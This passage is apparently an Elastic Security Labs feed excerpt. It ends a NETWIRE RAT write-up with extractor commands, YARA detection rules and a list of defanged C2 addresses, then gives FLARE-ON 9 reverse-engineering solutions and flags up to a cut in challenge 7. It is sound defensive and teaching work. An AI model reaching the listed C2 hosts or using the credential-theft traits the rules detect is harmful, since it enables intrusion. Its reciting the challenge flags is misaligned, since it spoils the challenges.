<p>Our initially collected batch of samples came as a mixture of executable files and memory dumps. The extractor will only work on unmapped files, so the dumps which were already mapped were run through <a href="https://github.com/hasherezade/pe_unmapper"><strong>pe_unmapper</strong></a>.</p>
<p>When extracting a payload from memory, we are obtaining a memory-mapped version of it. This means that the <strong>"Raw Address"</strong> and <strong>"Raw Size"</strong> may not be correctly aligned with the correct section’s data. To correctly align the PE file, it is necessary to adjust the pointer to the raw address so that it matches the virtual address for every section.</p>
<p>Now we can run the configuration extractor with <a href="https://python-poetry.org/">Poetry</a> against our directory of unmapped binaries:</p>
<pre><code>**poetry lock**
**poetry install**
**poetry shell**
**netwire-config-extractor -d sample-dir/ -o output.ndjson**
</code></pre>
<p>This file, <strong>output.ndjson</strong> , can then be uploaded to Kibana for further analysis.</p>
<blockquote>
  <p>Check out the <a href="https://www.elastic.co/security-labs/the-elastic-container-project">Elastic Container project</a> to quick spin up an Elastic Stack and start analyzing structured security-relevant data.</p>
</blockquote>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt39ac8dfd2028f7b2/6a7d838a63e9593fe673aedb/image3.png" alt="Extracted NETWIRE configuration data" title="Extracted NETWIRE configuration data" /></p>
<p>Next time you run into a NETWIRE sample, run it through our configuration extractor to pull out other indicators to help you on your analytic journey or begin remediating quicker.</p>
<h2 id="detection">Detection</h2>
<h3 id="yara">YARA</h3>
<p>These YARA rules can used to detect and identify NETWIRE RAT.</p>
<pre><code>rule Windows_Trojan_Netwire_1 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }
   condition:
       all of them
}
rule Windows_Trojan_Netwire_2 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a1 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
       $a2 = "\\Login Data"
       $a3 = "SOFTWARE\\NetWire" fullword
   condition:
       2 of them
}
rule Windows_Trojan_Netwire_3 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }
   condition:
       all of them
}
rule Windows_Trojan_Netwire_4 {
   meta:
       author = "Elastic Security"
       os = "Windows"
       arch = "x86"
       category_type = "Trojan"
       family = "Netwire"
       threat_name = "Windows.Trojan.Netwire"
   strings:
       $a1 = "http://%s%ComSpec" ascii fullword
       $a2 = "%c%.8x%s" ascii fullword
       $a3 = "%6\\6Z65dlNh\\YlS.dfd" ascii fullword
       $a4 = "GET %s HTTP/1.1" ascii fullword
       $a5 = "R-W65: %6:%S" ascii fullword
       $a6 = "PTLLjPq %6:%S -qq9/G.y" ascii fullword
   condition:
       4 of them
}
</code></pre>
<h2 id="indicators">Indicators</h2>
<p>All indicators are also available <a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte3d9f2700cdf6637/63d3f854e4e29e75dc5de351/9965-indicators.zip">for download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following indicators were discussed in this research.</p>
<p>| Indicator                              | Type        | Note           |
| -------------------------------------- | ----------- | -------------- |
| 139.28.38[.]235                        | ipv4-addr   | NETWIRE RAT C2 |
| 149.102.132[.]253                      | ipv4-addr   | NETWIRE RAT C2 |
| 184.75.221[.]115                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.136.165[.]182                      | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]139                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]144                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]154                       | ipv4-addr   | NETWIRE RAT C2 |
| 185.140.53[.]61                        | ipv4-addr   | NETWIRE RAT C2 |
| 185.216.71[.]251                       | ipv4-addr   | NETWIRE RAT C2 |
| 194.36.111[.]59                        | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]126                         | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]178                         | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]188                         | ipv4-addr   | NETWIRE RAT C2 |
| 194.5.98[.]65                          | ipv4-addr   | NETWIRE RAT C2 |
| 212.193.29[.]37                        | ipv4-addr   | NETWIRE RAT C2 |
| 212.193.30[.]230                       | ipv4-addr   | NETWIRE RAT C2 |
| 213.152.161[.]249                      | ipv4-addr   | NETWIRE RAT C2 |
| 217.151.98[.]163                       | ipv4-addr   | NETWIRE RAT C2 |
| 23.105.131[.]166                       | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]199                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]203                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]206                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]208                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.0.14[.]214                          | ipv4-addr   | NETWIRE RAT C2 |
| 37.120.217[.]243                       | ipv4-addr   | NETWIRE RAT C2 |
| 51.161.104[.]138                       | ipv4-addr   | NETWIRE RAT C2 |
| 54.145.6[.]146                         | ipv4-addr   | NETWIRE RAT C2 |
| 80.66.64[.]136                         | ipv4-addr   | NETWIRE RAT C2 |
| 85.209.134[.]105                       | ipv4-addr   | NETWIRE RAT C2 |
| 85.31.46[.]78                          | ipv4-addr   | NETWIRE RAT C2 |
| 94.156.35[.]40                         | ipv4-addr   | NETWIRE RAT C2 |
| 20220627.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| admin96.hopto[.]org                    | domain-name | NETWIRE RAT C2 |
| alice2019.myftp[.]biz                  | domain-name | NETWIRE RAT C2 |
| asorock1111.ddns[.]net                 | domain-name | NETWIRE RAT C2 |
| banqueislamik.ddrive[.]online          | domain-name | NETWIRE RAT C2 |
| betterday.duckdns[.]org                | domain-name | NETWIRE RAT C2 |
| bigman2021.duckdns[.]org               | domain-name | NETWIRE RAT C2 |
| blazeblaze.ddns[.]net                  | domain-name | NETWIRE RAT C2 |
| chongmei33.myddns[.]rocks              | domain-name | NETWIRE RAT C2 |
| clients.enigmasolutions[.]xyz          | domain-name | NETWIRE RAT C2 |
| gracedynu.gleeze[.]com                 | domain-name | NETWIRE RAT C2 |
| ingobea.hopto[.]org                    | domain-name | NETWIRE RAT C2 |
| iphanyi.edns[.]biz                     | domain-name | NETWIRE RAT C2 |
| iphy.strangled[.]net                   | domain-name | NETWIRE RAT C2 |
| kimlee11.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| loffgghh.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| megaton.gleeze[.]com                   | domain-name | NETWIRE RAT C2 |
| moran101.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| netuwaya.servecounterstrike[.]com      | domain-name | NETWIRE RAT C2 |
| nowancenorly.ddns[.]net                | domain-name | NETWIRE RAT C2 |
| podzeye.duckdns[.]org                  | domain-name | NETWIRE RAT C2 |
| podzeye2.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| recoveryonpoint.duckdns[.]org          | domain-name | NETWIRE RAT C2 |
| redlinea[.]top                         | domain-name | NETWIRE RAT C2 |
| roller.duckdns[.]org                   | domain-name | NETWIRE RAT C2 |
| rozayleekimishere.duckdns[.]org        | domain-name | NETWIRE RAT C2 |
| sani990.duckdns[.]org                  | domain-name | NETWIRE RAT C2 |
| saturdaylivecheckthisout.duckdns[.]org | domain-name | NETWIRE RAT C2 |
| uhie.hopto[.]org                       | domain-name | NETWIRE RAT C2 |
| uhie2020.duckdns[.]org                 | domain-name | NETWIRE RAT C2 |
| wcbradley.duckdns[.]org                | domain-name | NETWIRE RAT C2 |
| xman2.duckdns[.]org                    | domain-name | NETWIRE RAT C2 |
| zonedx.ddns[.]net                      | domain-name | NETWIRE RAT C2 |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/netwire-dynamic-configuration-extraction</link>
    <guid isPermaLink="false">netwire-dynamic-configuration-extraction</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Seth Goodwin,Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4e2065614468fee2/6a7d838cbd2198acac755300/lock-code-combination-configuration.jpg" length="0" type="image/jpeg"/>
    <pubDate>Mon, 30 Jan 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[FLARE-ON 9 Solutions:]]></title>
    <description><![CDATA[This year's FLARE-ON consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant <a href="https://www.mandiant.com/resources/blog/announcing-ninth-flareon-challenge">FLARE-ON Challenge</a>. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.</p>
<h3 id="challenge1flaredle">Challenge 1 - “Flaredle”</h3>
<blockquote>
  <p>Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: <a href="http://flare-on.com/flaredle/">http://flare-on.com/flaredle/</a></p>
</blockquote>
<h4 id="solution">Solution</h4>
<p>After downloading and unpacking the file, we see 4 file objects. <img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt50a7b4766fb3bd42/6a7c846651156a33be2bc967/image9.jpg" alt="" /></p>
<p>The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0f2420091e5d0213/6a7c8469e3a219405b99976b/image72.jpg" alt="" /></p>
<p>On line 9 the value of <strong>rightGuessString</strong> translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): "flareonisallaboutcats".</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3728af3bef612912/6a7c846c4c4bfbc69bcc793a/image97.jpg" alt="" /></p>
<p>By visiting the online game and submitting this string, we can validate the correct flag for challenge one!</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt96e34f8b6ba08bc0/6a7c846ffc63abdb6b646fbc/image27.jpg" alt="" /></p>
<p><strong>Flag:</strong> <a href="mailto:flareonisallaboutcats@flare-on.com">flareonisallaboutcats@flare-on.com</a></p>
<h2 id="challenge2pixelpoker">Challenge 2 - “Pixel Poker”</h2>
<blockquote>
  <p>I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?</p>
</blockquote>
<h3 id="solution-1">Solution</h3>
<p>This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9ebc16edee79d054/6a7c8472227b1c3f5759270a/image8.jpg" alt="" /></p>
<p>The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta3cce0b2e3e2af6d/6a7c8475b43770012f4d1081/image88.jpg" alt="" /></p>
<p>The first result from our search is listed with instructions: <strong>cmp eax, 10</strong>. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf5f1e5dc26874f8/6a7c84779f5251b573664075/image98.jpg" alt="" /></p>
<p>By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7921ca4ea7ff0d8d/6a7c847a7cfd7a1737314d96/image78.jpg" alt="" /></p>
<p>In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3c3b645cfe0815b1/6a7c847dead8ec2c37ba499d/image12.jpg" alt="" /></p>
<p>After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.</p>
<p>The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1b3295355c87da90/6a7c847f96b5a66ee68755cf/image68.jpg" alt="" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt070d19abb005531f/6a7c8482de23154c3efd1e6c/image64.jpg" alt="" /></p>
<p>For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt849ee7e3ac167222/6a7c8484bd21985147752305/image4.jpg" alt="" /></p>
<p>Two minutes and about 100,000 clicks later, the flag was released to us.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0b606fb921596ed7/6a7c8487fc63ab8b4d646fcc/image55.jpg" alt="" /></p>
<p>*_Flag: *_w1nN3r_W!NneR_<a href="mailto:cHick3n_d1nNer@flare-on.com">cHick3n_d1nNer@flare-on.com</a></p>
<h2 id="challenge3magic8ball">Challenge 3 - “Magic 8 Ball”</h2>
<blockquote>
  <p>You got a question? Ask the 8 ball!</p>
</blockquote>
<h3 id="solution-2">Solution</h3>
<p>This challenge appeared to be an interactive 8-ball game developed with an open source SDL <a href="https://www.libsdl.org/">library</a>. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2c62950aac442aa5/6a7c848a77b034f4e13f9606/image75.jpg" alt="" /></p>
<p>The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt319c74a644592e4a/6a7c848d7cfd7a40a3314da8/image82.jpg" alt="" /></p>
<p>Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd63378d08f8a36b3/6a7c848fc2cc09f8ab24340f/image87.jpg" alt="" /></p>
<p>One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.</p>
<p>Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the <a href="https://en.wikipedia.org/wiki/Konami_Code">Konami</a> code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0f4b6a44f4bdbed3/6a7c8492c33f4fc497d54ab8/image30.jpg" alt="" /></p>
<p>By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbaf144d4ae366984/6a7c8495da3d056980633e13/image85.jpg" alt="" /></p>
<p><strong>Flag:</strong> U<em>cRackeD_th1$_maG1cBaLL</em>!! <a href="mailto:_@flare-on.com">_@flare-on.com</a></p>
<h2 id="challenge4darn_mice">Challenge 4 - “darn_mice”</h2>
<blockquote>
  <p>"If it crashes it's user error." -Flare Team</p>
</blockquote>
<h3 id="solution-3">Solution</h3>
<p>The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f5d1d0f8fa5de1d/6a7c84982f00b283d6ef8edd/image2.jpg" alt="" /></p>
<p>After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt125274e4a5cc2c03/6a7c849b80ee38226d60d1a9/image23.jpg" alt="" /></p>
<p>In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.</p>
<pre><code>arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]"".join([chr(0xC3 - c) for c in arr])
</code></pre>
<p>Using the current input we can retrieve the flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt74433df410a06e0d/6a7c849e05b7b56ed2185afd/image60.png" alt="" /></p>
<p><strong>Flag:</strong> i<em>w0uld_l1k3_to_RETurn_this</em><a href="mailto:joke@flare-on.com">joke@flare-on.com</a></p>
<h2 id="challenge5t8">Challenge 5 - “T8”</h2>
<blockquote>
  <p>FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?</p>
</blockquote>
<h3 id="solution-4">Solution</h3>
<p>For this challenge, we’ve been provided with a PCAP in addition to a binary.</p>
<h4 id="pcapfileoverview">PCAP file overview</h4>
<p>The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97ed3f461a884d07/6a7c84a11967ea501132a8dd/image99.jpg" alt="" /></p>
<h4 id="binaryoverview">Binary overview</h4>
<p>This binary appears to be written in C++ or implement classes in a similar way.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68e56c0a524e0733/6a7c84a3437e0f773bdd5645/image53.jpg" alt="" /></p>
<p>If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt878ac2d04dbb39ce/6a7c84a65967e524965d75a2/image49.jpg" alt="" /></p>
<p>Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta8228d5a5863c399/6a7c84a980ee383d3f60d1b1/image34.jpg" alt="" /></p>
<p>The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.</p>
<p>Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9\&lt;5DIGITS&gt;”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb78ffa50ae5929ad/6a7c84ac96b5a6dee48755e7/image77.jpg" alt="" /></p>
<p>Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt57443cf14cd5ed6d/6a7c84ae80ee38b2a660d1b5/image17.jpg" alt="" /></p>
<p><strong>Flag:</strong> i<em>s33</em><a href="mailto:you_m00n@flare-on.com">you_m00n@flare-on.com</a></p>
<h2 id="challenge6lamode">Challenge 6 - “à la mode”</h2>
<blockquote>
  <p>FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!</p>
</blockquote>
<h3 id="solution-5">Solution</h3>
<p>This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbbfcd30998a09690/6a7c84b1c33f4f97b5d54ac6/image74.jpg" alt="" /></p>
<p>The chat log offers a clue that another (missing) component may interact with the DLL.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1fc169d1c0db639b/6a7c84b380ee38308160d1b9/image46.jpg" alt="" /></p>
<p>Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1a11651f1f1855cc/6a7c84b6c2cc093d8424341f/image38.jpg" alt="" /></p>
<p>Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt33b096f30522cbbc/6a7c84b9c2cc091371243423/image91.jpg" alt="" /></p>
<p>Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd8e732bbc88a087/6a7c84bc448e4e74315bac0b/image92.jpg" alt="" /></p>
<p>After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte280f8202a321f2b/6a7c84bf96b5a65fb28755eb/image96.jpg" alt="" /></p>
<p>This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8fa7a1b97c387c3e/6a7c84c2ead8ec6fc1ba49bb/image90.jpg" alt="" /></p>
<p>With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9cb4c1c255226fd5/6a7c84c48fc2d0718f3e8975/image45.jpg" alt="" /></p>
<p><strong>Flag:</strong> M1x3d<em>M0dE</em><a href="mailto:4_l1f3@flare-on.com">4_l1f3@flare-on.com</a></p>
<h2 id="challenge7anode">Challenge 7 - “anode”</h2>
<blockquote>
  <p>You've made it so far! I can't believe it! And so many people are ahead of you!</p>
</blockquote>
<h3 id="solution-6">Solution</h3>
<p>This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg</p>
<p>Conveniently (but not helpfully), we see it when we search strings.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2adf715b3bdbaf2c/6a7c84c7de23152d1afd1e82/image70.jpg" alt="" /></p>
<p>We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f75af8f95cc56c3/6a7c84caead8ec2709ba49bf/image1.jpg" alt="" /></p>
<p>This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb09b9b3fd35466a4/6a7c84ccbd21988cdf75231d/image25.jpg" alt="" /></p>
<p>That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2b2f4feeb5218869/6a7c84cfe3a219572d999789/image16.jpg" alt="" /></p>
<p>Curiously, when submitting the same bad flag using the packed binary, the error is different.</p>
<p>![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg</p>
<p>If we comment the condition out to bypass that validation, we get another new error.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc712eb173e4f2233/6a7c84d2437e0fa9dfdd5653/image41.jpg" alt="" /></p>
<p>Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1c2ff97b0e795a5d/6a7c84d49f5251c3b9664093/image36.jpg" alt="" /></p>
<p>And the result of that state machine operation is evaluated against the correct flag.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt80295fe4f302d1fb/6a7c84d7fc63ab057a646fda/image14.jpg" alt="" /></p>
<p>But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.</p>
<p>We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc834e95711bb89f2/6a7c84d94c4bfb3ce8cc795c/image35.jpg" alt="" /></p>
<p>We also dump the sequence of states using the same method.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8db23ca98d1f834c/6a7c84dc73d9bd5dee297c7e/image93.jpg" alt="" /></p>
<p>Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8fd19e2991be68da/6a7c84df77b0346d173f9624/image21.jpg" alt="" /></p>
<p>We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the <a href="https://github.com/int3/pyesprima">pyesprima</a> frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt12ae6c6fef34e5c7/6a7c84e2227b1c5aed592724/image18.jpg" alt="" /></p>
<p>Next, we then visit the AST and collect each subtree associated to a switch case node.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1648e1072459f5fb/6a7c84e5e88c659cbd0058bf/image61.jpg" alt="" /></p>
<p>For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3af52e3592e3ff36/6a7c84e74c4bfbfcafcc7960/image19.jpg" alt="" /></p>
<p>Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd87d7fe0604de44/6a7c84eaead8ec794eba49c5/image69.jpg" alt="" /></p>
<p>Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8f4321e9b8fec1a1/6a7c84ede88c652e230058c3/image22.jpg" alt="" /></p>
<p>But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!</p>
<p>There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is &gt; 0 and if(xn) always returns false if the number contains a zero!</p>
<p>So with this in mind, we fixed the predicates in the script before running the deobfuscator again.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf89828b7541f0dfc/6a7c84ef5967e5c0e05d75ae/image80.jpg" alt="" /></p>
